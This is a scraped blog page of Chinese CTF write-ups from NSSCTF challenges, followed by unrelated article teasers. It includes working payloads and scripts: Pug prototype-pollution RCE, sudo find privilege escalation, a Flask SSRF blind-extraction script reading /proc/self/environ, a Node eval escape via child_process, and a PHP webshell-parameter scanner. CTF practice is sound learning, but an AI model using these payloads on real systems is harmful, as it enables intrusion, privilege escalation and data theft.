NSSCTF第16页(1)

news2024/11/24 13:08:50

[湖湘杯 2021 final]vote

是有附件,下载下来解压

在/vote-1637654763\www\routes下找到了源码

这道题的考点是

AST配合Pug模板引擎实现注入

有现成的payload

p6.is

主要代码,需要满足if语句,从而可以执行compile语句

{
"__proto__.hero":{
    "name":"奇亚纳"
},
"__proto__.block": {
     "type": "Text",
    "line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
    }
}

[HZNUCTF 2023 final]ezgo

它提示文件在$PATH变量中未找到,path的翻译是路径,文件和路径,很容易让人联想到/usr/bin/目录下的所有用户都可用的应用程序(绝对路径执行命令)

关于Linux服务器里 /usr/bin 目录和 /usr/local/bin目录_/usr/local/bin在那-CSDN博客 

发现/usr/bin/sudo是可用的

输入 /usr/bin/sudo -l 发现不行

并且提示find命令不需要密码

 

那就可以用sudo find提权命令进行提权

find 命令提权

find基础命令与提权教程_find提权-CSDN博客

 find  (一个路径或文件,必须存在)  -exec  执行命令 \;(\; 是-exec 参数的结尾标志)

 

 prize_p4

随便输入发现了说不是admin

点击get key 得到了这个,从最开始的url到现在的key,应该是ssrf+flask_session伪造

意思是是get传参时,访问/getkey得到这个页面,不是get传参时访问,得到的session就是key

用put访问,发现allow的时get head options,三种请求

得到了base64编码的key

 

选中部分解码得到key,进行伪造session

 key:777e890b-a3a1-45b5-ad0b-b43ca7e6be05

 

 

重新访问home页面,得到源码

 

代码审计一下

from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flag

SECRET_KEY=str(uuid.uuid4())

app = Flask(__name__)
app.config.update(dict(
    SECRET_KEY=SECRET_KEY,
))

#src in /app

@app.route('/')
@app.route('/index',methods=['GET'])
def index():
    return render_template("index.html")

@app.route('/get_data', methods=["GET",'POST'])
def get_data():
    data = request.form.get('data', '123')
    if type(data) is str:
        data=data.encode('utf8')
    url = request.form.get('url', 'http://127.0.0.1:8888/')
    if data and url:
        session['data'] = data
        session['url'] = url
        session["admin"]=False
        return redirect(url_for('home'))
    return redirect(url_for('/'))

@app.route('/home', methods=["GET"])
def home():
    if session.get("admin",False):
        return render_template_string(open(__file__).read())
    else:
        return render_template("home.html",data=session.get('data','Not find data...'))

@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY
    return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
    if request.method != "GET":
        session["key"]=SECRET_KEY''')

@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
    if session['data'] and session['url']:
        if 'file:' in session['url']:
            return "no no no"
        data=(session['data']).decode('utf8')
        url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
        if url_text in data or data in url_text:
            return "you get it"
    return "what ???"

@app.route('/getflag', methods=["GET"])
def get_flag():
    res = flag.waf(request)
    return res

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=8888)

/getflag路由,但是要利用这个路由得知道flag.waf的源码

get_hind_result,这个路由有一个ssrf,可以拿来读源码,但是不会直接显示出结果,只会返回you get it,所以要用盲注
这个路由的ssrf需要在session里设置参数,可以用最开始的/get_data路由来获得对应的session值

ssrf过滤了file协议,利用大小写可以绕过

import string
import requests

url1="http://node4.anna.nssctf.cn:28839/get_data"
url2="http://node4.anna.nssctf.cn:28839/get_hindd_result"
flag="NSSCTF{"
while 1:
    for i in string.printable:
        tmp_flag=flag+i
        data={"url":"File:///proc/self/environ","data":tmp_flag}
        res=requests.session()
        res.get(url1,data=data)
        session_tmp=str(res.cookies.values())[2:-2]
        flag_resp=requests.get(url2,cookies={"session":session_tmp})
        if "you get it" in flag_resp.text:
            flag+=i
            print(flag)
            break

 利用盲注脚本

[GFCTF 2021]ez_calc

给的提示:

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

源码提示:

他限制了登陆时候账号不能为admin,大写之后不能为ADMIN,密码是admin123

绕过:

利用特殊字符,比如通过Character.toUpperCose()后,ı会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为admın,登录成功

发现源码

 

 

 

 上面就是一个过滤字符sh ln fs x f lc , " (等,功能

然后关键点是最后eval(calc)会进行rce,

some() 方法会遍历由 split() 方法生成的字符数组中的所有元素

calc不能直接构造恶意参数,就算能,数组也执行不了 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。 

calc数组长度一定要大于等于前面执行命令的字符串长度

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

 

这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=. 

 

[强网杯 2019]高明的黑客

贴大佬的脚本,在本地运行,然后就可以得到可执行的shell,文件

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                        #这儿设置最大的线程数
filePath = r"D:\ctf\src"
os.chdir(filePath)                                                #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                            #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                 # 设置连接活跃状态为False
def get_content(file):
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}                                                        #所有的$_POST
    params = {}                                                        #所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file
    req = session.post(url, data=data, params=params)            #一次性请求所有的GET和POST
    req.close()                                                # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    #print(content)
    if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()                                                # 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()                                                # 关闭请求  释放内存
                if "xxxxxx" in content:
                    break
        if flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:                                                            #加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php

找到了利用的参数:Efa5BVG 

cat /flag

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1312344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

re:Invent 产品体验与感受分享:Amazon ElastiCache Serverless 缓存的即时扩展

授权说明:本篇文章授权活动官方亚马逊云科技文章转发、改写权,包括不限于在亚马逊云科技开发者社区、 知乎、自媒体平台、第三方开发者媒体等亚马逊云科技官方渠道)。 文章目录 前言产品介绍产品使用步骤1.创建缓存服务2.安全组开放访问权限…

壹[1],函数:ReadImage

C形式 LIntExport void ReadImage( HObject* Image, const HTuple& FileName); //参数1:读取的Image //参数2:图片地址//备注说明: //头文件:halconcpp/HOperatorSet.h //命名空间:namespace HalconCpp C#形式 …

用Python画圣诞树!(附代码)

本文我们将用 Python 来画一棵圣诞树,效果如下图所示,先睹为快。 下面展开来看一下主要代码实现。 1.turtle库 turtle库是Python语言中一个很流行的绘制图像的函数库,想象一个小乌龟,在一个横轴为x、纵轴为y的坐标系原点&#x…

如何使用Docker进行容器的备份和恢复

一 简介: 在使用Docker进行应用程序的容器化部署时,我们经常需要对容器进行备份和恢复操作。备份容器可以保证数据的安全性,而恢复操作可以帮助我们快速恢复出现问题的容器。本文将介绍如何使用Docker进行容器的备份和恢复,同时提…

C#科学绘图之scottPlot绘制多个图像

文章目录 示例移除图像图例信号图 scott系列:绘图初步 示例 从名字就能看出,ScottPlot的绘图函数AddScatter的作用是为图窗添加数据点,换言之,每调用一次AddScatter,就可以在图窗中添加一组图像。下面添加两个按钮&a…

动手学深度学习-自然语言处理-预训练

词嵌入模型 将单词映射到实向量的技术称为词嵌入。 为什么独热向量不能表达词之间的相似性? 自监督的word2vec。 word2vec将每个词映射到一个固定长度的向量,这些向量能更好的表达不同词之间的相似性和类比关系。 word2vec分为两类,两类…

UE4 UMG 颜色字体和PS对应关系

与PS中对应的是Hex sRGB色号 但是PS中采用的16进制色号为6位 UE4中的为8位 UMG制作时默认dpi为96像素/英寸,psd默认dpi是72像素/英寸。 在GUI设计时将dpi设为96,或者将72dpi下字体的字号乘以0.75,都能还原效果图中的效果。

【NTN 卫星通信】Starlink,卫星互联网的技术革命(一)

1. 什么是Starlink Starlink是由Elon Musk创立的私人太空探索公司SpaceX提供的卫星互联网服务。它旨在为世界上传统互联网服务速度慢或不可用的偏远地区提供价格合理的高速互联网。 为什么Starlink很重要?   Starlink之所以重要,是因为它有可能为数百万…

typescript 实现Optional

我们先看下面的这段代码,一个学生接口,里面有成员id,name,age,gender等等成员, 有一个方法graduate,里面要接受一个Student类型的实参 interface Student {id: numbername: stringage: numbergender: string}function graduate(Student: Student) {//...}现在有一个问题,就是学…

多地新能源公交换回燃油车,彻底撕下了新能源车低成本的遮羞布

随着近期多个城市的公交车从新能源客车换回燃油车,新能源汽车是否省钱的问题再次受到关注,而这些企业披露的数据显示出新能源客车并非如预期版那么低成本,并且在使用中遇到了许多麻烦的问题。 一、新能源公交确实有优势 首先是成本方面。确实…

探秘AI赋能的未来世界:CyberAI深度学习技术助力变革

CyberAI平台概述 随着AI技术的极速发展,AI能力正在助力产业加速场景化落地。CyberAI是数新网络面向开发者和企业的一站式AI数据科学平台,提供交互式和可视化建模服务,算法模型全生命周期管理。平台可帮助开发者快速开发AI应用,解…

GO的sql注入盲注脚本

之间学习了go的语法 这里就开始go的爬虫 与其说是爬虫 其实就是网站的访问如何实现 因为之前想通过go写sql注入盲注脚本 发现不是那么简单 这里开始研究一下 首先是请求网站 这里貌似很简单 package mainimport ("fmt""net/http" )func main() {res, …

C++类和对象(3)

目录 再谈构造函数 构造函数体赋值 初始化列表 【注意】 explicit关键字 Static成员 概念 特性 友元 友元函数 友元类 内部类 概念 特性: 匿名对象 拷贝对象时的一些编译器优化 再谈构造函数 构造函数体赋值 在创建对象时,编译…

Python新手必备:掌握os.path模块的8个神奇函数

在Python编程中,os.path模块是一个非常重要的模块,它提供了用于处理文件路径和目录的函数。这些函数可帮助你执行各种文件和目录操作,例如文件检查、路径拼接、目录创建等。 本文将介绍os.path模块中最常用的8个内置函数,并附带丰…

GitHub帐户管理更改电子邮件

登录到您的 GitHub 帐户: 前往 GitHub 网站并使用您的凭据登录。 访问个人设置: 单击右上角的您的头像,然后选择“Settings”(设置)。 选择电子邮件选项卡: 在左侧边栏中选择“Emails”(电子邮…

忘记了路由器的用户名和密码,怎么办?

注意:登录窗口会显示路由器型号,请务必确认是您自己路由器的界面。 解决方法 尝试输入登录密码 如果您的确忘了设置好的密码,就只能把路由器恢复出厂设置,没有超级密码。 恢复出厂前,不妨尝试输入可能的管理密码。一…

Python从门到精通(九):matploblib图形库

Matplotlib 是一个数字绘图库,可以绘制多种图形 绘制图形 曲线图 import matplotlib.pyplot as pltclass PltDemo:def __init__(self) -> None:# 数据self.squares [1, 4, 9, 16, 25]def init_ax(self):# flg:由生成的一系列绘图构建成的整体个图…

SpringBoot中敏感信息脱敏(一个注解搞定)

📞简介:一个注解快速搞定敏感数据脱敏,例如手机号、姓名、银行卡号、身份证号等 一、简述 数据脱敏:数据脱敏,指对某些敏感信息通过脱敏规则进行数据的变形,实现敏感隐私数据的可靠保护。这样就可以在开发…

Python Socket编程

Python Socket编程 文章目录 Python Socket编程1. 弄懂HTTP、Socket、TCP这几个概念五层网络模型 2. client和server实现通信Socket编程模式指南代码实现 3. socket实现聊天和多用户连接4. socket模拟http请求5. socket使用I/O多路复用模式模拟http请求 1. 弄懂HTTP、Socket、T…

基于node.js和Vue游戏商城系统设计

游戏商城系统是一个在线平台,旨在为用户提供购买和销售电子游戏、游戏内物品和其他相关服务。游戏商城系统的主要目标是为玩家提供一个方便、快捷、安全的购物环境,同时也为游戏开发商和发行商提供一个有效的销售渠道。通过这个平台,玩家可以…